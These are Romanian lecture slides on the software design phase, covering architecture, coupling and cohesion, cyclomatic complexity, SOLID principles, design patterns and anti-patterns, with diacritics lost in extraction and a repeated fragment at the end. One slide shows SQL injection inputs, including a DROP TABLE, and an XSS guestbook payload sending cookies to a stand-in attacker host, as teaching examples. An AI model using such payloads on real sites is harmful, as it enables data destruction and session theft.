Ingineria Programarii: Faza de Proiectare

Ingineria programrii
4. Faza de proiectare
Florin Leon
Universitatea Tehnic Gheorghe Asachi din Iai
Facultatea de Automatic i Calculatoare
http://florinleon.byethost24.com/curs_ip.htm
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Faza de proiectare
1. Introducere
2. Arhitectura software
3. Proiectarea modulelor
4. Metrici de proiectare
5. Principii de proiectare
6. abloane de proiectare
7. Concluzii
Faza de proiectare
1. Introducere
7. Concluzii
Simplitate i complexitate
Sunt dou moduri de a proiecta un produs software.

Primul este de a-l face att de simplu nct este evident
c nu exist deficiene. Al doilea este de a-l face att de
complicat nct nu exist deficiene evidente. Prima
metod este mult mai dificil. (Hoare, 1981)
4
Proiectarea i programarea
Lipsa unei proiectri coerente conduce la

scrierea de cod haotic
Cu ct te apuci mai repede s scrii cod,

cu att termini mai trziu
Programarea are i elemente de proiectare
Programarea este un act creativ, nu mecanic
Verific deciziile de proiectare i umple golurile
Nivelurile proiectrii
Arhitectura sistemului
Identificarea subsistemelor principale i a modului n

care comunic acestea
Are un impact major asupra performanelor i
caracteristicilor sistemului
Module / componente
Partiionarea subsistemelor (un modul poate nsemna

un namespace, un pachet, o bibliotec de funcii etc.)
Interfeele publice (contracte)
Nivelurile proiectrii
Clase i tipuri de date
Proiectare mai puin formal, mai uor de schimbat

Tot trebuie s existe o faz distinct de proiectare
Funcii / metode
Mai degrab un exerciiu mental dect o procedur

documentat
Proiectarea explicit este necesar pentru algoritmi
deosebii
Calitatea proiectrii
Presiunea comercial
Nu este niciodat timp s se

proiecteze corect, dar e ntotdeauna
timp s se proiecteze de dou ori
Codul proiectat corect este:
Mai uor de scris

Mai uor de neles
Mai uor de corectat
Cu mai puine defecte
(erorile nu sunt ascunse)
Mai uor de extins
8
Proiectarea corect: ntrebri
Pentru orice problem exist mai multe variante de

proiectare
Va funciona?
Este complet?
Deseori apar probleme neprevzute

Abia cnd se ncearc implementarea soluiei se nelege de fapt
problema
Este cea mai bun soluie?
Este suficient de bun?

Pentru orice problem se fac compromisuri
Performanele se pot observa doar cnd sistemul este funcional
9
Compromisuri
Extensibilitate vs. simplitate
Eficien vs. claritate
Creterea cuplrii pentru evitarea accesului indirect
Sistemele optimizate sunt mai puin clare
Numr de trsturi vs. efort de dezvoltare
Niveluri suplimentare de generalitate
Mai multe trsturi au nevoie de mai mult efort
Prioritizarea depinde de cerinele proiectului

10
Abordarea recomandat
Iterativ
Prudent
Pai mici, numr limitat de decizii, localizarea erorilor
Realist
Proiectare incremental
Aplicarea metodologiilor dar i utilizarea experienei

Rezultatul depinde de calitatea specificaiilor, experiena echipei
i rigoarea aplicrii procedurilor
Informat
Trebuie nelese complet cerinele i principiile problemei

Altfel, se poate rezolva alt problem
11
Caracteristicile unei proiectri

de calitate (I)
Simplitatea
Elegana
Cea mai important

Dimensiune redus a codului
Codul bine proiectat pare evident, dar e greu de realizat
Aspect estetic
Fluxul de control este clar
Fiecare component adaug ceva distinct
Lucrurile asemntoare sunt asociate
Schimbrile sunt localizate
Extensibilitatea
Structur logic i maleabil

Interfee, plug-in-uri dinamice
Echilibru: ce trebuie acum ce va trebui n viitor ce ar putea s
trebuiasc n viitor
12
Caracteristicile unei proiectri

de calitate (II)
Modularitatea
Lipsa duplicrilor
Nu trebuie compromis calitatea codului dac portabilitatea nu este

necesar
Abstractizarea seciunilor neportabile (care depind de SO sau hardware)
Proiectare idiomatic
Copy-paste, apoi schimbrile nu se fac n toate cazurile

Reinventarea roii
Generalizare: superclase, metode cu parametri
Portabilitatea
Calitatea descompunerii
C++: RAII (Resource Acquisition Is Initializaton), suprancrcarea

operatorilor
C#: proprieti
Proiectare bine documentat: specificaii ale arhitecturii, API

13
Metode de proiectare
Talent vs. nvare
Proiectarea structurat
Proiectarea se nva
Necesit nvarea principiilor pentru evitarea greelilor i apoi
experien practic
Descompunere funcional
Presupune determinarea unei ierarhii de rutine
Abordri top-down, bottom-up sau aplicarea lor n tandem
Proiectarea orientat obiect
Gestioneaz complexitatea unor probleme mult mai mari

Presupune identificarea obiectelor, comportamentelor i
interaciunilor
14
Alte metode i procese
Notaii
De exemplu diagrame UML
Comunicare mai concis
Documentare formal
Scheme logice
Pseudocod
Proiectare n cod
Trebuie pstrat sincronizarea cu codul
Metode-prototip, fr implementare efectiv
Instrumente CASE (Computer-Aided Software Engineering)
Conversii bidirecionale ntre diagrame i cod
Instrumente RAD (Rapid Application Development)

15
Faza de proiectare
1. Introducere
7. Concluzii
Arhitecii software
Se poate face o paralel cu ingineria construciilor
Responsabilitate mare
Ingineria programrii este mult mai recent

Arhitecii din construcii au studii formale
Arhitecii software se bazeaz mai mult pe experien
Pot fi:
Iniiatorii proiectului (grup restrns), la nceputul ciclului

de dezvoltare
Programatorii (pentru proiecte mai simple)
17
Arhitectura
Orice sistem are o arhitectur
Chiar dac nu este planificat
Lipsa unei arhitecturi corecte conduce deseori la

eecul proiectului
Arhitectura reprezint proiectarea de nivel nalt
Prezentare general, macro, a sistemului
Detaliile de implementare sunt ascunse
18
Componente i conexiuni
Componentele
Unitile logice ale sistemului: clase, procese,

biblioteci, baze de date etc.
n mod ideal, o component ndeplinete un singur
scop (sau activitate)
Conexiunile
Apeluri de funcii, evenimente, mesaje ale sistemului

de operare sau din reea (sincrone sau asincrone)
Unele comunicaii sunt indirecte (de exemplu prin
resurse partajate: variabile, fiiere)
19
Rolul arhitecturii
Identific modulele cheie i mdul n care interacioneaz ele
Identific interfeele importante
Clarific rolurile i responsabilitile subsistemelor

Primul pas n trecerea de la domeniul problemei ctre domeniul soluiei
De exemplu: la analiz sistem distribuit; la proiectare numr de
maini i cum i vor mpri sarcinile
Compromis:
Nu cum funcioneaz intern
Informaii n arhitectur vs. flexibilitate n fazele ulterioare
Arhitectura influeneaz:
Modul de lucru al echipelor (3 straturi 3 echipe)

Evoluia produsului (reflect capacitatea de adaptare a produsului la noi
cerine)
20
Utilitatea arhitecturii (I)
Validare
Cerinele sunt fezabile

Structura intern a sistemului este coerent
Sunt incluse toate piesele necesare
Nu exist duplicri i redundane
Modulele se potrivesc
Comunicare
Disponibil pentru toi, neleas de toi

(la fel ca viziunea asupra sistemului)
Asigurarea integritii conceptuale
21
Utilitatea arhitecturii (II)
Reutilizare
Crete productivitatea, scade costurile

Ajut reutilizarea pentru familiile de produse
Specific ce este fix i ce este variabil
Construcie i evoluie
Partiionare (pentru diferite echipe)

Prile independente pot fi construite independent
Unde pot fi adugate noi trsturi cu efort minim i
care este impactul asupra restului sistemului
22
Calitatea arhitecturii
Simpl, uor de neles, reprezentabil vizual

Clar, fr ambiguiti
Numr optim de componente
Prea multe: prea multe detalii
Prea puine: fiecare component face prea mult

(dificil de extins i ntreinut)
Flexibil, extensibil, dar nu exagerat de general

Consecin: aspect estetic plcut
23
Arhitectura i marketingul
Trebuie luate n considerare cerinele de marketing
Marketing-ul poate aduga noi trsturi
Oportunitile de afaceri
Strategia de vnzare i liceniere
Poziia pe pia
De exemplu securitatea, prevenirea fraudelor
Calitatea arhitecturii conteaz
Chiar dac utilizatorii nu sunt interesai de structura intern

a produsului, o arhitectur flexibil anticipeaz i poate
gestiona mai uor cerinele viitoare ale clienilor
24
Faza de proiectare
1. Introducere
7. Concluzii
Interfeele
Modl: parte separabil logic a unui program
Legea lui Conway: structura software-ului poate urma structura echipei
Interfaa unui modul: faada public n spatele creia sunt

ascunse detaliile interne
Tipuri de interfee: biblioteci, clase, funcii, structuri de date,

interfee cu sistemul de operare, protocoale de comunicare n
reea
Nu se refer doar la conceptul de interfa (interface) din programare
Mulimea de operaii disponibile = API (Application

Programming Interface)
Proiectarea defectuoas nu pune operaiile n locul potrivit

26
Cuplarea
Fora interconexiunilor (interdependenei) dintre

module
Ct trebuie s tim despre un modul pentru a-l

nelege pe cellalt
n ce msur modificrile unui modul l afecteaz pe

cellalt
27
Niveluri de cuplare
Cuplare prin coninut

Cuplare prin date comune
Cuplare prin control
Cuplare prin marcaj
Cuplare prin date
28
Cuplarea prin coninut
Modulele partajeaz codul: se poate sri

dintr-un modul n codul celuilalt modul
Limbajele moderne de programare nu permit

acest lucru
29
Cuplarea prin date comune
Modulele refereniaz aceeai structur de date global

sau aceleai variabile globale
Structura de date comun

este customer record
30
Cuplarea prin control
Un modul trimite celuilalt modul o variabil de control

care i determin fluxul de execuie
31
Cuplarea prin marcaj
Un modul trimite celuilalt modul o structur de date

ca parametru
Structura de date trimis

este current record
32
Cuplare prin date
Un modul trimite celuilalt modul variabile ca parametri
33
Factori ce afecteaz cuplarea
Gradul de cuplare dintre dou module depinde

de complexitatea interfarii lor
Scop: cuplare slab
Minimizarea numrului de interfee ale unui modul
Minimizarea complexitii interfeelor (numrul de

parametri)
Trimiterea ca parametri numai a cmpurilor necesare

(nu a ntregului obiect)
Evitarea comunicaiilor hibride: date i control

34
Factori ce afecteaz cuplarea

Coupling
35
Cuplarea n sisteme OO (I)
Cuplarea prin interaciune
Dintr-o metod a unei clase se apeleaz alt

metod din alt clas
Accesarea seciunilor interne
Conceptul de friend din C++ violeaz principiul

ncapsulrii
Folosirea cmpurilor pentru a stoca date

temporare i nu starea obiectelor
Metodele comunic direct prin parametri
Sunt trimise numai date i numai variabilele necesare

36
Cuplarea n sisteme OO (II)
Cuplarea prin compunere
O clas folosete instane ale altor clase
Cmpuri, parametri: cuplare mai slab
Variabile locale (invizibile din exterior): cuplare mai

puternic
Cuplarea cu o clas A nseamn cuplarea

potenial cu toate subclasele lui A
37
Cuplarea n sisteme OO (III)
Cuplarea prin motenire
Motenirea poate reduce cuplarea general din

sistem
A cuplat cu B, B are subclasele C, D

Dac o metod m este ridicat din C i D n B,
A va fi cuplat numai cu B, nu cu C i D
Pot fi adugate fr probleme noi subclase ale lui B
Cuplarea minim are loc cnd clasele derivate nu

modific metodele motenite, ci doar adaug noi
cmpuri i metode
38
Coeziunea
Ct de apropiate sunt elementele aceluiai

modul
Scop: coeziune puternic
n general, o coeziune puternic este corelat cu

o cuplare slab
Coeziunea unui modul este maximul de

coeziune aplicabil tuturor elementelor
acestuia
39
Niveluri de coeziune
Coeziune ntmpltoare (prin coinciden)

Coeziune logic
Coeziune temporal
Coeziune procedural
Coeziune comunicaional
Coeziune secvenial
Coeziune funcional
40
Coeziunea ntmpltoare
(prin coinciden)
Un modul creat doar pentru a evita

duplicarea codului din mai multe seciuni
Module rezultate prin partiionarea

artificial a altor module (de exemplu,
conform criteriului ca un modul s
respecte un numr maxim permis de
instruciuni)
Mai multe module au fost combinate

pentru a reduce numrul modulelor din
program sau pentru a respecta un numr
minim de instruciuni pe modul
41
Coeziunea logic
Un modul conine funcii care

aparin aceleiai clase logice,
adic toate elementele sale
realizeaz operaii similare
De exemplu tratarea tuturor
intrrilor / ieirilor
E nevoie de o variabil de control
care s determine ce instruciuni
se execut n fiecare caz
(informaii hibride, cuplarea
crete)
42
Coeziunea temporal
Coeziunea temporal poate fi

privit ca un tip de coeziune
logic n care timpul este
elementul comun
Modulele conin funcii asociate
n timp
De obicei, sunt module de
iniializare sau finalizare
Elementele sunt executate n
general toate mpreun
43
Coeziunea procedural
Modulele conin funcii care aparin

unei uniti procedurale comune
De exemplu unele pri dintr-un
modul sunt puse ntr-un nou
modul: un bloc de decizie mai
mare sau un bloc iterativ sunt
plasate ntr-o alt metod
Un modul poate avea doar pri
dintr-o funcie complet
Un alt exemplu este funcia main,
care execut celelalte funcii ntr-o
anumit ordine (conform unei
proceduri)
Cuvntul and din numele

funciei ne spune c aceasta
are dou scopuri, nu unul
singur, cum ar fi de dorit
44
Coeziunea comunicaional
Toate elementele unui modul

opereaz cu aceleai date
De exemplu: gsete titlul unei
cri, respectiv autorul, editura,
preul
Acest tip de coeziune este
acceptabil, dar are
dezavantajul c asupra
acelorai date se pot efectua
operaii nenrudite
45
Coeziunea secvenial
Un modul conine elemente

care depind de prelucrarea
anterioar a altor elemente
ntr-un modul, ieirea unui
element este intrarea altui
element
Se calculeaz mai nti total purchases
i apoi discount
46
Coeziunea funcional
Toate elementele unui modul

sunt utilizate pentru efectuarea
unui singure funcii
47
Comparaie
48
Coeziunea n sisteme OO
Coeziunea metodelor
Fiecare metod implementeaz o funcie clar definit (coeziune
funcional)
Coeziunea claselor
De ce sunt mpreun atributele i operaiile n aceeai clas
O clas reprezint un concept
Dac nu, metodele i cmpurile pot fi partiionate n mai multe clase
Coeziunea motenirilor
Coeziunea este mare dac ierarhia urmrete generalizareaspecializarea unui concept
Coeziunea este mic dac scopul ierarhiei este partajarea
codului
49
Faza de proiectare
1. Introducere
7. Concluzii
Metrici de proiectare
Se aplic doar pentru proiectarea detaliat

Utile mai ales n faza de implementare
Metrici:
Complexitatea ciclomatic
Metrica de coeziune
51
Complexitatea ciclomatic
Ideea de baz:
Complexitatea ciclomatic: M = e n + 2p
Considernd dou programe cu aceeai dimensiune, programul

cu mai multe instruciuni de decizie este probabil mai complex
n = numrul de noduri
e = numrul de arce
p = numrul de componente conexe (pentru un modul este 1)
Numrul ciclomatic: V(G) = e n + p

Dac se adaug un arc de la nodul final la nodul iniial
(astfel nct graful s devin tare conex), M = V(G)
52
Exemplul 1
M = 10 7 + 1 = 4
53
Exemplul 2
M=7
M=3
54
Efecte
Complexitatea ciclomatic a unui modul este

numrul de decizii + 1
Recomandare: M < 10
M este o estimare a numrului de ci care

trebuie testate n faza de testare
Aceast metric este corelat cu dimensiunea

modulului i cu numrul de defecte
55
Metrica de coeziune (I)
Ideea de baz este de a vedea cum sunt folosite

variabilele unui modul de ctre codul modulului
Se construiete graful fluxului de control al modulului
I este nodul iniial
T este nodul final
Fiecare nod Si este adnotat cu variabilele pe care le

refereniaz
Se utilizeaz acest graf pentru a calcula mulimile de

referine pentru fiecare variabil: Ri = mulimea de noduri
care refereniaz a i-a variabil a modulului
56
Metrica de coeziune (II)
Pentru fiecare Ri se calculeaz coeziunea:
unde:
dim(S) este numrul tuturor cilor independente de la I la T
care includ cel puin o instruciune din mulimea S
G este mulimea tuturor instruciunilor din modul care
refereniaz cel puin o variabil
Dac S = G, atunci dim(S) este complexitatea ciclomatic a
modulului
Altfel, dim(S) este numrul de decizii din mulimea de instruciuni
+ 1 (complexitatea ciclomatic a mulimii)
57
Metrica de coeziune (III)
Coeziunea unui modul cu n variabile este:
Dac un modul are o coeziune puternic,

majoritatea variabilelor vor fi utilizate de
instruciuni n majoritatea cilor din modulul
respectiv
58
Exemplu (acelai program)
59
Faza de proiectare
1. Introducere
7. Concluzii
Principii fundamentale
Principiul deschis-nchis
Principiul substituiei
Principiul inversiunii dependenelor
Principiul responsabilitii unice
Principiul segregrii interfeelor
SOLID
S Single responsibility principle

O Open-closed principle
L Liskov substitution principle
I Interface segregation principle
D Dependency inversion principle
61
Principiul deschis-nchis
O clas trebuie s fie deschis pentru

extindere dar nchis pentru modificri
(Bertrand Meyer, 1998)
62
Exemplu: problem
Se adaug
alte forme
geometrice
63
Exemplu: soluie
64
Principiul substituiei
Subclasele trebuie s fie substituibile claselor

lor de baz (Barbara Liskov, 1997)
65
Exemplul 1: raa electric
66
Exemplul 2: cercul i elipsa

(cazul 1)
Generalizarea este corect:

cercul este o elips cu razele
egale
67
Cazul 1
68
Cazul 1
ec este o elips, dar

nu are efect Stretch
69
Cazul 2
notaie inconsistent
(de fapt, conceptul de
raz unic nu este
aplicabil unei elipse)
70
Cazul 2
71
Cazul 2
aria cercului ce este incorect

(valoarea corect este 12.56)
72
Soluia 1
73
Soluia 1
74
Soluia 1
75
Soluia 2 (clase immutable)
76
Soluia 2
77
Principiul inversiunii dependenelor
Clasele de nivel nalt nu trebuie s depind

de clasele de nivel sczut. Ambele trebuie s
depind de abstraciuni
Abstraciunile nu trebuie s depind de
detalii. Detaliile trebuie s depind de
abstraciuni
78
Exemplu: problem
Manager (clasa de nivel

nalt) depinde de Worker
(clasa de nivel sczut)
Dac se adaug un nou tip
de muncitor, SuperWorker,
trebuie modificat clasa
Manager
79
Exemplu: soluie
80
Principiul responsabilitii unice
O clas trebuie s aib un singur motiv s se

modifice
O clas trebuie s fac un singur lucru
81
Exemplu: problem
Customer ar trebuie s se ocupe de logica de lucru cu baza de date,

nu de nregistrarea excepiilor
82
Exemplu: soluie
83
Principiul segregrii interfeelor
Mai multe interfee specifice pentru clieni

sunt mai bune dect o singur interfa de uz
general
Un client nu trebuie forat s depind de metode

pe care nu le folosete
84
Exemplu
85
Exemplu
86
Principii suplimentare
Principiul echivalenei lansare-reutilizare
Granula pentru reutilizare este granula pentru lansare
Principiul nchiderii comune
Clasele care se modific mpreun trebuie grupate mpreun
Clasele reutilizabile trebuie grupate
Clasele trebuie grupate astfel nct coeziunea s fie mare
Principiul reutilizrii comune
Clasele care nu sunt reutilizate mpreun nu trebuie grupate

mpreun
Clasele care se modific determin o nou versiune a ntregului

pachet
87
Euristici de proiectare
Dimensiunea unui modul este o indicaie asupra

complexitii acestuia
Module prea mari ( 100 linii) partiionate

Module prea mici ( 2-3 linii) combinate
Doar innd cont de cuplarea i coeziunea configuraiei
rezultate
Fan-in (numrul de module care l folosesc) i

fan-out (numrul de module folosite)
Fan-in-ul trebuie maximizat

Fan-out-ul trebuie s fie < 5-6
88
Ingineria proiectrii
Cuantificarea ideilor variabile
Luarea n calcul a tuturor

factorilor de decizie i a tuturor
opiunilor de proiectare
Proiectarea pentru optimizare
competitiv
Nu mare ci 42
A fi cel mai bun, nu doar

satisfctor
Argumente raionale i
sistematice
Fapte, nu proiectare
informal
89
Faza de proiectare
1. Introducere
7. Concluzii
abloane de proiectare
i au originea n ingineria construciilor i arhitectur
Christopher Alexander, arhitect
Notes on the Synthesis of Form (1964)
A Pattern Language: Towns, Buildings, Construction (1977)
Procesul inventrii soluiilor care manifest o nou ordine

i organizare ca rspuns la funcionalitate
Un ablon este suficient de general pentru a fi

aplicat n mai multe situaii, dar suficient de concret
pentru a fi util n luarea deciziilor
91
abloane software
Soluii generale reutilizabile la probleme care

apar frecvent n proiectare
Sunt descrieri despre cum se poate rezolva o problem

Nu pot fi transformate direct n cod
Un ablon este o soluie la o problem ntr-un

context
Contextul: situaiile recurente n care se aplic ablonul

Problema: scopurile i constrngerile
Soluia: regula de proiectare
92
Coninutul unui ablon
Numele
Problema: obiectivele
Contextul: pre-condiiile
Forele: constrngerile
care indic un
compromis, de unde i
apare nevoia de ablon
Soluia: cum se ating
obiectivele
Contextul rezultant
Justificarea: cum
funcioneaz intern i
de ce (soluia extern)
abloanele nrudite
Exemple
Moduri de utilizare
cunoscute
93
Tipuri de abloane
abloane arhitecturale
Nivelul arhitecturii
Nivelul modulelor/claselor
Idiomuri
Nivelul limbajului de programare
94
Arhitectura multi-strat
poate fi la rndul
su multi-strat
95
Arhitectura multi-nivel
Multi-strat = descompunere fizic:
dll, exe, maini separate
Multi-nivel = descompunere logic:
namespace-uri, clase
96
Arhitectura MVC
Model-Vizualizare-Controlor (engl. Model-View-Controller, MVC)
97
Varianta clasic
Modelul: conine datele, starea i logica aplicaiei. Dei nu

cunoate Controlorul i Vizualizarea, furnizeaz o interfa
pentru manipularea i preluarea strii i poate trimite notificri cu
privire la schimbarea strii. De obicei primete cereri privind
starea datelor de la Vizualizare i instruciuni de modificare a
datelor sau strii de la Controlor
Vizualizarea: afieaz Modelul ntr-o form potrivit pentru

utilizator. Pentru un sigur Model pot exista mai multe Vizualizri,
de exemplu o list de elemente poate fi afiat ntr-un control
vizual precum ListBox, ntr-o consol sau ntr-o pagin web
Controlorul: primete intrrile de la utilizator i apeleaz obiectele

Modelului pentru a prelucra noile informaii
98
Variante modern
Model-Vizualizare-Prezentator (engl. Model-View-Presenter, MVP)
Stratul de prezentare const n obiecte de Vizualizare iar logica aplicaiei

const n obiecte de control (Prezentator/Controlor)
Pentru fiecare obiect de vizualizare exist un obiect de control
99
Arhitectura bazat pe componente
Asamblarea de aplicaii din componente

prefabricate
Interfeele trebuie bine definite
Interface Definition Language, IDL
.NET: determinarea interfeelor din implementare
Asigur cuplarea slab ntre componente

Diferite tipuri de comunicare ntre componente
COM, CORBA, JavaBeans
100
Arhitectura orientat pe servicii
Funcionalitile sunt separate n

uniti distincte, numite servicii,
accesibile ntr-o reea
Pot fi combinate i reutilizate
Scopul este tot cuplarea slab
Interfaarea este deosebit de

important
Furnizorii de servicii se pot

nregistra la un broker, iar
consumatorii caut serviciile dorite
Mai muli furnizori pot oferi acelai

serviciu: calitate, reputaie
Servicii web: RESTful, SOAP

101
Pipeline
Un lan de elemente de prelucrare n care ieirea unuia

corespunde cu intrarea urmtorului
De exemplu: dir | sort | more
Transformrile sunt de obicei incrementale

Formatul de date este de obicei foarte simplu, deseori
text
Tratarea erorilor este mai dificil
Utilizri:
Browsere
Aplicaii de grafic
Interfee grafice pentru programe consol portabile
102
Pipeline
Programare funcional, F#
|> trimite rezultatul unei funcii urmtoarei funcii
enumFilesRec
(filterOutPaths ["c:\\Windows";"c:\\ProgramData";"c:\\Program Files"])
(filterExt [".jpg"; ".gif"])
"c:\\Multimedia"
|> Seq.groupBy (fun pth -> (Path.GetExtension pth, (FileInfo pth).Length))
|> Seq.filter (fun (_, s) -> (Seq.length s) > 1)
|> Seq.map (fun (_, sq) -> [for path in sq -> path])
|> Seq.map groupEqualFiles
|> Seq.map filterOutSingletons
|> Seq.collect Seq.ofList
|> Seq.iter (fun lst -> printfn "%A" lst)
http://bartoszmilewski.com/2011/01/05/using-f-sequences-and-pipelines/
103
Platforma
engl. framework
Pentru o bibliotec tradiional, programul
apeleaz funciile din bibliotec
ntr-o platform, apelul codului client este fcut
de platform
De exemplu platforma multi-agent JADE
104
Blackboard (tabl)
Propus iniial pentru rezolvarea unor probleme

complexe, insuficient definite
n general, folosit pentru unele aplicaii legate
de inteligena artificial, de exemplu:
Interpretarea datelor de la senzori, data fusion
Planificare, nvare simbolic
Roboi mobili
Vizualizare interactiv a datelor de la satelii
105
Blackboard (tabl)
Presupune existena mai multor surse de

cunoatere specializate pe domenii
diverse
Mai nti, pe tabl se scriu specificaiile

problemei
Fiecare surs de cunoatere (specialist)

caut ocazia de a contribui la rezolvarea
problemei
Cnd cineva scrie pe tabl ceva care

permite unui specialist s contribuie,
acesta scrie la rndul su soluia la
subproblema pe care o poate rezolva
Procesul de adugare a contribuiilor pe

tabl continu pn cnd problema este
rezolvat
106
Erich Gamma, Richard Helm, Ralph Johnson,

John Vlissides (Gang of Four, GoF)
Elements of Reusable Object-Oriented Software (1994)
Trei clase:
abloane creaionale: instanierea
abloane structurale: compunerea
abloane comportamentale: comunicarea
107
Clasificare
Le vom detalia n urmtoarele 6 cursuri

108
Idiomuri
Incrementarea unui contor
Basic: i = i + 1
C: i += 1, i++, ++i
Interschimbarea a dou valori
C: temp = a; a = b; b = temp;
Perl: ($a, $b) = ($b, $a)
Python: a, b = b, a
109
Anti-abloane
Abstraction inversion
Input kludge
Permite de exemplu
code injection (vezi slide-ul urmtor)
Interface bloat
Magic pushbutton
Race hazard
Stovepipe system
Anemic domain model
BaseBean
Circle-Ellipse problem
God object
Object orgy
Poltergeists
Yo-yo problem
Pentru explicaii, vezi suportul de curs

110
SQL / Code Injection
statement = "SELECT * FROM users WHERE name =

" ' + userName + ' ";"
userName = a' or 't'='t
userName = a'; DROP TABLE users;
SELECT * FROM users WHERE name ='a' OR 't'='t';

SELECT * FROM users WHERE name = 'a'; DROP TABLE users;
Mesaj pe guestbook-ul unui site web:
Nice site! <script>document.location='http://attacker.nu/cookie.cgi?'</script>
111
Concluzii
Faza de proiectare arat CUM dorim s construim

Se refer la domeniul soluiei
Exist trei tipuri de abloane de proiectare,
corespunztoare nivelurilor de generalitate ale
proiectrii:
abloane arhitecturale (pentru proiectarea arhitecturii)

abloane de proiectare (pentru proiectarea modulelor)
Idiomuri (pentru proiectarea detaliat)
Capacitatea de a proiecta bine vine din respectarea

principiilor de proiectare i din experien
112

Ingineria Programarii: Faza de Proiectare

Încărcat de

Informații document

Titlu original

Drepturi de autor

Formate disponibile

Partajați acest document

Partajați sau inserați document

Opțiuni de partajare

Vi se pare util acest document?

Este necorespunzător acest conținut?

Drepturi de autor:

Formate disponibile

Ingineria Programarii: Faza de Proiectare

Încărcat de

Drepturi de autor:

Formate disponibile

Ingineria programrii

Sunt dou moduri de a proiecta un produs software.

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Lipsa unei proiectri coerente conduce la

Cu ct te apuci mai repede s scrii cod,

Programarea are i elemente de proiectare

Programarea este un act creativ, nu mecanic

Verific deciziile de proiectare i umple golurile

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Identificarea subsistemelor principale i a modului n

Partiionarea subsistemelor (un modul poate nsemna

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Clase i tipuri de date

Proiectare mai puin formal, mai uor de schimbat

Mai degrab un exerciiu mental dect o procedur

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Nu este niciodat timp s se

Codul proiectat corect este:

Mai uor de scris

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Proiectarea corect: ntrebri

Pentru orice problem exist mai multe variante de

Deseori apar probleme neprevzute

Este cea mai bun soluie?

Este suficient de bun?

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Extensibilitate vs. simplitate

Eficien vs. claritate

Creterea cuplrii pentru evitarea accesului indirect

Sistemele optimizate sunt mai puin clare

Numr de trsturi vs. efort de dezvoltare

Niveluri suplimentare de generalitate

Mai multe trsturi au nevoie de mai mult efort

Prioritizarea depinde de cerinele proiectului

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Pai mici, numr limitat de decizii, localizarea erorilor

Aplicarea metodologiilor dar i utilizarea experienei

Trebuie nelese complet cerinele i principiile problemei

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Caracteristicile unei proiectri

Cea mai important

Structur logic i maleabil

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Caracteristicile unei proiectri

Nu trebuie compromis calitatea codului dac portabilitatea nu este

Copy-paste, apoi schimbrile nu se fac n toate cazurile

C++: RAII (Resource Acquisition Is Initializaton), suprancrcarea

Proiectare bine documentat: specificaii ale arhitecturii, API

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Talent vs. nvare

Proiectarea orientat obiect

Gestioneaz complexitatea unor probleme mult mai mari

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Alte metode i procese

De exemplu diagrame UML

Comunicare mai concis

Trebuie pstrat sincronizarea cu codul

Metode-prototip, fr implementare efectiv

Instrumente CASE (Computer-Aided Software Engineering)

Conversii bidirecionale ntre diagrame i cod

Instrumente RAD (Rapid Application Development)

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

Se poate face o paralel cu ingineria construciilor